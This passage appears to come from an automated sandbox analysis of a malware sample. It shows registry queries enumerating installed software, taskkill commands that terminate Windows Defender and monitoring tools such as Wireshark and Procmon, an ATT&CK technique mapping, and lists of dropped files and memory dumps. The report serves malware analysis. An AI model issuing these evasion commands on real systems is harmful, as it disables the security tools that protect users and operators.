reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:64
3⤵
PID:4240

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:32
3⤵
PID:4260

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4280

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:64
3⤵
PID:4316

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:32
3⤵
PID:4336

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4356

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:64
3⤵
PID:4392

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:32
3⤵
PID:4412

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4432

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:64
3⤵
PID:4468

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:32
3⤵
PID:4488

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4508

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:64
3⤵
PID:4544

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:32
3⤵
PID:4564

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4584

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:64
3⤵
PID:4620

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:32
3⤵
PID:4640

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4656

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:64
3⤵
PID:4692

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:32
3⤵
PID:4720

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4740

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:64
3⤵
PID:4776

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:4844

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F
2⤵
- Kills process with taskkill
PID:4788

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4876

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:64
3⤵
PID:4912

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:4932

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4952

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:4988

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:5008

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:5024

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:64
3⤵
PID:5060

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:32
3⤵
PID:5088

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:5108

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:64
3⤵
PID:4152

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:32
3⤵
PID:4176

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3128

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:64
3⤵
PID:2576

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:32
3⤵
PID:1468

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1280

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:64
3⤵
PID:1628

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:32
3⤵
PID:1912

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2460

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:64
3⤵
PID:3496

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:32
3⤵
PID:1436

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3764

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:64
3⤵
PID:1004

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:32
3⤵
PID:488

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3268

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:64
3⤵
PID:808

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:32
3⤵
PID:4012

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1612

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:64
3⤵
PID:2632

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:32
3⤵
PID:1672

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1736

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:64
3⤵
PID:996

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:32
3⤵
PID:2712

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:740

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1092

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:64
3⤵
PID:4248

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:32
3⤵
PID:4164

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4252

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:64
3⤵
PID:4296

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:32
3⤵
PID:4344

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4336

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:64
3⤵
PID:4416

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:32
3⤵
PID:4448

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4496

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:64
3⤵
PID:4548

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:32
3⤵
PID:4568

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4600

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:64
3⤵
PID:4640

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:32
3⤵
PID:4696

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4724

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:64
3⤵
PID:4780

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:32
3⤵
PID:4848

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4884

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:64
3⤵
PID:4864

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:32
3⤵
PID:4812

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F
2⤵
- Kills process with taskkill
PID:4940

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
2⤵
- Kills process with taskkill
PID:5020

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:5116

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:3760

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:1628

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:3496

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:2592

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F
2⤵
- Kills process with taskkill
PID:664

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F
2⤵
- Kills process with taskkill
PID:504

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Hidden Files and Directories

T1158

Disabling Security Tools

T1089

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\.ntusernt.ini

Download Submit
C:\Users\Admin\FVKwo\Desktop.ini

Download Submit
C:\Users\Admin\FVKwo\WbZqr.class

Download Submit
\Users\Admin\AppData\Local\Temp\lqHCJQpUNA1775199836441060993.xml

Download Submit
memory/348-129-0x0000000000000000-mapping.dmp

Download
memory/352-87-0x0000000000000000-mapping.dmp

Download
memory/352-50-0x0000000000000000-mapping.dmp

Download
memory/408-71-0x0000000000000000-mapping.dmp

Download
memory/488-209-0x0000000000000000-mapping.dmp

Download
memory/488-85-0x0000000000000000-mapping.dmp

Download
memory/492-140-0x0000000000000000-mapping.dmp

Download
memory/496-72-0x0000000000000000-mapping.dmp

Download
memory/496-135-0x0000000000000000-mapping.dmp

Download
memory/496-143-0x0000000000000000-mapping.dmp

Download
memory/496-126-0x0000000000000000-mapping.dmp

Download
memory/504-249-0x0000000000000000-mapping.dmp

Download
memory/572-130-0x0000000000000000-mapping.dmp

Download
memory/580-150-0x0000000000000000-mapping.dmp

Download
memory/644-106-0x0000000000000000-mapping.dmp

Download
memory/644-91-0x0000000000000000-mapping.dmp

Download
memory/664-248-0x0000000000000000-mapping.dmp

Download
memory/688-69-0x0000000000000000-mapping.dmp

Download
memory/688-112-0x0000000000000000-mapping.dmp

Download
memory/732-99-0x0000000000000000-mapping.dmp

Download
memory/740-219-0x0000000000000000-mapping.dmp

Download
memory/760-149-0x0000000000000000-mapping.dmp

Download
memory/800-95-0x0000000000000000-mapping.dmp

Download
memory/808-211-0x0000000000000000-mapping.dmp

Download
memory/808-49-0x0000000000000000-mapping.dmp

Download
memory/848-134-0x0000000000000000-mapping.dmp

Download
memory/896-152-0x0000000000000000-mapping.dmp

Download
memory/896-113-0x0000000000000000-mapping.dmp

Download
memory/964-155-0x0000000000000000-mapping.dmp

Download
memory/968-120-0x0000000000000000-mapping.dmp

Download
memory/968-154-0x0000000000000000-mapping.dmp

Download
memory/996-88-0x0000000000000000-mapping.dmp

Download
memory/996-217-0x0000000000000000-mapping.dmp

Download
memory/1004-96-0x0000000000000000-mapping.dmp

Download
memory/1004-208-0x0000000000000000-mapping.dmp

Download
memory/1088-52-0x0000000000000000-mapping.dmp

Download
memory/1092-220-0x0000000000000000-mapping.dmp

Download
memory/1220-142-0x0000000000000000-mapping.dmp

Download
memory/1228-124-0x0000000000000000-mapping.dmp

Download
memory/1264-148-0x0000000000000000-mapping.dmp

Download
memory/1264-151-0x0000000000000000-mapping.dmp

Download
memory/1264-136-0x0000000000000000-mapping.dmp

Download
memory/1268-73-0x0000000000000000-mapping.dmp

Download
memory/1268-118-0x0000000000000000-mapping.dmp

Download
memory/1272-74-0x0000000000000000-mapping.dmp

Download
memory/1280-201-0x0000000000000000-mapping.dmp

Download
memory/1280-53-0x0000000000000000-mapping.dmp

Download
memory/1432-111-0x0000000000000000-mapping.dmp

Download
memory/1436-79-0x0000000000000000-mapping.dmp

Download
memory/1436-206-0x0000000000000000-mapping.dmp

Download
memory/1464-54-0x0000000000000000-mapping.dmp

Download
memory/1468-200-0x0000000000000000-mapping.dmp

Download
memory/1612-213-0x0000000000000000-mapping.dmp

Download
memory/1624-57-0x0000000000000000-mapping.dmp

Download
memory/1624-108-0x0000000000000000-mapping.dmp

Download
memory/1624-77-0x0000000000000000-mapping.dmp

Download
memory/1628-245-0x0000000000000000-mapping.dmp

Download
memory/1628-202-0x0000000000000000-mapping.dmp

Download
memory/1672-215-0x0000000000000000-mapping.dmp

Download
memory/1672-147-0x0000000000000000-mapping.dmp

Download
memory/1716-109-0x0000000000000000-mapping.dmp

Download
memory/1720-83-0x0000000000000000-mapping.dmp

Download
memory/1732-139-0x0000000000000000-mapping.dmp

Download
memory/1732-146-0x0000000000000000-mapping.dmp

Download
memory/1732-122-0x0000000000000000-mapping.dmp

Download
memory/1736-98-0x0000000000000000-mapping.dmp

Download
memory/1736-216-0x0000000000000000-mapping.dmp

Download
memory/1736-133-0x0000000000000000-mapping.dmp

Download
memory/1784-55-0x0000000000000000-mapping.dmp

Download
memory/1912-203-0x0000000000000000-mapping.dmp

Download
memory/1920-75-0x0000000000000000-mapping.dmp

Download
memory/1928-121-0x0000000000000000-mapping.dmp

Download
memory/2072-131-0x0000000000000000-mapping.dmp

Download
memory/2084-141-0x0000000000000000-mapping.dmp

Download
memory/2084-132-0x0000000000000000-mapping.dmp

Download
memory/2112-117-0x0000000000000000-mapping.dmp

Download
memory/2124-84-0x0000000000000000-mapping.dmp

Download
memory/2292-128-0x0000000000000000-mapping.dmp

Download
memory/2296-81-0x0000000000000000-mapping.dmp

Download
memory/2460-204-0x0000000000000000-mapping.dmp

Download
memory/2464-60-0x0000000000000000-mapping.dmp

Download
memory/2576-199-0x0000000000000000-mapping.dmp

Download
memory/2576-80-0x0000000000000000-mapping.dmp

Download
memory/2588-92-0x0000000000000000-mapping.dmp

Download
memory/2588-64-0x0000000000000000-mapping.dmp

Download
memory/2592-247-0x0000000000000000-mapping.dmp

Download
memory/2632-89-0x0000000000000000-mapping.dmp

Download
memory/2632-214-0x0000000000000000-mapping.dmp

Download
memory/2696-61-0x0000000000000000-mapping.dmp

Download
memory/2704-125-0x0000000000000000-mapping.dmp

Download
memory/2708-116-0x0000000000000000-mapping.dmp

Download
memory/2712-218-0x0000000000000000-mapping.dmp

Download
memory/2800-137-0x0000000000000000-mapping.dmp

Download
memory/2804-105-0x0000000000000000-mapping.dmp

Download
memory/2816-93-0x0000000000000000-mapping.dmp

Download
memory/2856-62-0x0000000000000000-mapping.dmp

Download
memory/2916-70-0x0000000000000000-mapping.dmp

Download
memory/2968-102-0x0000000000000000-mapping.dmp

Download
memory/3004-78-0x0000000000000000-mapping.dmp

Download
memory/3012-104-0x0000000000000000-mapping.dmp

Download
memory/3036-90-0x0000000000000000-mapping.dmp

Download
memory/3036-76-0x0000000000000000-mapping.dmp

Download
memory/3036-110-0x0000000000000000-mapping.dmp

Download
memory/3092-94-0x0000000000000000-mapping.dmp

Download
memory/3128-59-0x0000000000000000-mapping.dmp

Download
memory/3128-198-0x0000000000000000-mapping.dmp

Download
memory/3220-86-0x0000000000000000-mapping.dmp

Download
memory/3268-210-0x0000000000000000-mapping.dmp

Download
memory/3268-107-0x0000000000000000-mapping.dmp

Download
memory/3268-82-0x0000000000000000-mapping.dmp

Download
memory/3328-115-0x0000000000000000-mapping.dmp

Download
memory/3344-68-0x0000000000000000-mapping.dmp

Download
memory/3432-63-0x0000000000000000-mapping.dmp

Download
memory/3468-101-0x0000000000000000-mapping.dmp

Download
memory/3496-246-0x0000000000000000-mapping.dmp

Download
memory/3496-205-0x0000000000000000-mapping.dmp

Download
memory/3504-127-0x0000000000000000-mapping.dmp

Download
memory/3540-114-0x0000000000000000-mapping.dmp

Download
memory/3684-97-0x0000000000000000-mapping.dmp

Download
memory/3756-144-0x0000000000000000-mapping.dmp

Download
memory/3756-100-0x0000000000000000-mapping.dmp

Download
memory/3760-244-0x0000000000000000-mapping.dmp

Download
memory/3764-207-0x0000000000000000-mapping.dmp

Download
memory/3816-138-0x0000000000000000-mapping.dmp

Download
memory/3816-119-0x0000000000000000-mapping.dmp

Download
memory/3840-66-0x0000000000000000-mapping.dmp

Download
memory/3908-103-0x0000000000000000-mapping.dmp

Download
memory/4012-212-0x0000000000000000-mapping.dmp

Download
memory/4048-123-0x0000000000000000-mapping.dmp

Download
memory/4128-156-0x0000000000000000-mapping.dmp

Download
memory/4152-196-0x0000000000000000-mapping.dmp

Download
memory/4164-222-0x0000000000000000-mapping.dmp

Download
memory/4168-157-0x0000000000000000-mapping.dmp

Download
memory/4176-197-0x0000000000000000-mapping.dmp

Download
memory/4192-158-0x0000000000000000-mapping.dmp

Download
memory/4240-159-0x0000000000000000-mapping.dmp

Download
memory/4248-221-0x0000000000000000-mapping.dmp

Download
memory/4252-223-0x0000000000000000-mapping.dmp

Download
memory/4260-160-0x0000000000000000-mapping.dmp

Download
memory/4280-161-0x0000000000000000-mapping.dmp

Download
memory/4296-224-0x0000000000000000-mapping.dmp

Download
memory/4316-162-0x0000000000000000-mapping.dmp

Download
memory/4336-163-0x0000000000000000-mapping.dmp

Download
memory/4336-226-0x0000000000000000-mapping.dmp

Download
memory/4344-225-0x0000000000000000-mapping.dmp

Download
memory/4356-164-0x0000000000000000-mapping.dmp

Download
memory/4392-165-0x0000000000000000-mapping.dmp

Download
memory/4412-166-0x0000000000000000-mapping.dmp

Download
memory/4416-227-0x0000000000000000-mapping.dmp

Download
memory/4432-167-0x0000000000000000-mapping.dmp

Download
memory/4448-228-0x0000000000000000-mapping.dmp

Download
memory/4468-168-0x0000000000000000-mapping.dmp

Download
memory/4488-169-0x0000000000000000-mapping.dmp

Download
memory/4496-229-0x0000000000000000-mapping.dmp

Download
memory/4508-170-0x0000000000000000-mapping.dmp

Download
memory/4544-171-0x0000000000000000-mapping.dmp

Download
memory/4548-230-0x0000000000000000-mapping.dmp

Download
memory/4564-172-0x0000000000000000-mapping.dmp

Download
memory/4568-231-0x0000000000000000-mapping.dmp

Download
memory/4584-173-0x0000000000000000-mapping.dmp

Download
memory/4600-232-0x0000000000000000-mapping.dmp

Download
memory/4620-174-0x0000000000000000-mapping.dmp

Download
memory/4640-175-0x0000000000000000-mapping.dmp

Download
memory/4640-233-0x0000000000000000-mapping.dmp

Download
memory/4656-176-0x0000000000000000-mapping.dmp

Download
memory/4692-177-0x0000000000000000-mapping.dmp

Download
memory/4696-234-0x0000000000000000-mapping.dmp

Download
memory/4720-180-0x0000000000000000-mapping.dmp

Download
memory/4724-235-0x0000000000000000-mapping.dmp

Download
memory/4740-181-0x0000000000000000-mapping.dmp

Download
memory/4776-182-0x0000000000000000-mapping.dmp

Download
memory/4780-236-0x0000000000000000-mapping.dmp

Download
memory/4788-183-0x0000000000000000-mapping.dmp

Download
memory/4812-240-0x0000000000000000-mapping.dmp

Download
memory/4844-184-0x0000000000000000-mapping.dmp

Download
memory/4848-237-0x0000000000000000-mapping.dmp

Download
memory/4864-239-0x0000000000000000-mapping.dmp

Download
memory/4876-185-0x0000000000000000-mapping.dmp

Download
memory/4884-238-0x0000000000000000-mapping.dmp

Download
memory/4912-186-0x0000000000000000-mapping.dmp

Download
memory/4932-187-0x0000000000000000-mapping.dmp

Download
memory/4940-241-0x0000000000000000-mapping.dmp

Download
memory/4952-188-0x0000000000000000-mapping.dmp

Download
memory/4988-189-0x0000000000000000-mapping.dmp

Download
memory/5008-190-0x0000000000000000-mapping.dmp

Download
memory/5020-242-0x0000000000000000-mapping.dmp

Download
memory/5024-191-0x0000000000000000-mapping.dmp

Download
memory/5060-192-0x0000000000000000-mapping.dmp

Download
memory/5088-194-0x0000000000000000-mapping.dmp

Download
memory/5108-195-0x0000000000000000-mapping.dmp

Download
memory/5116-243-0x0000000000000000-mapping.dmp

Download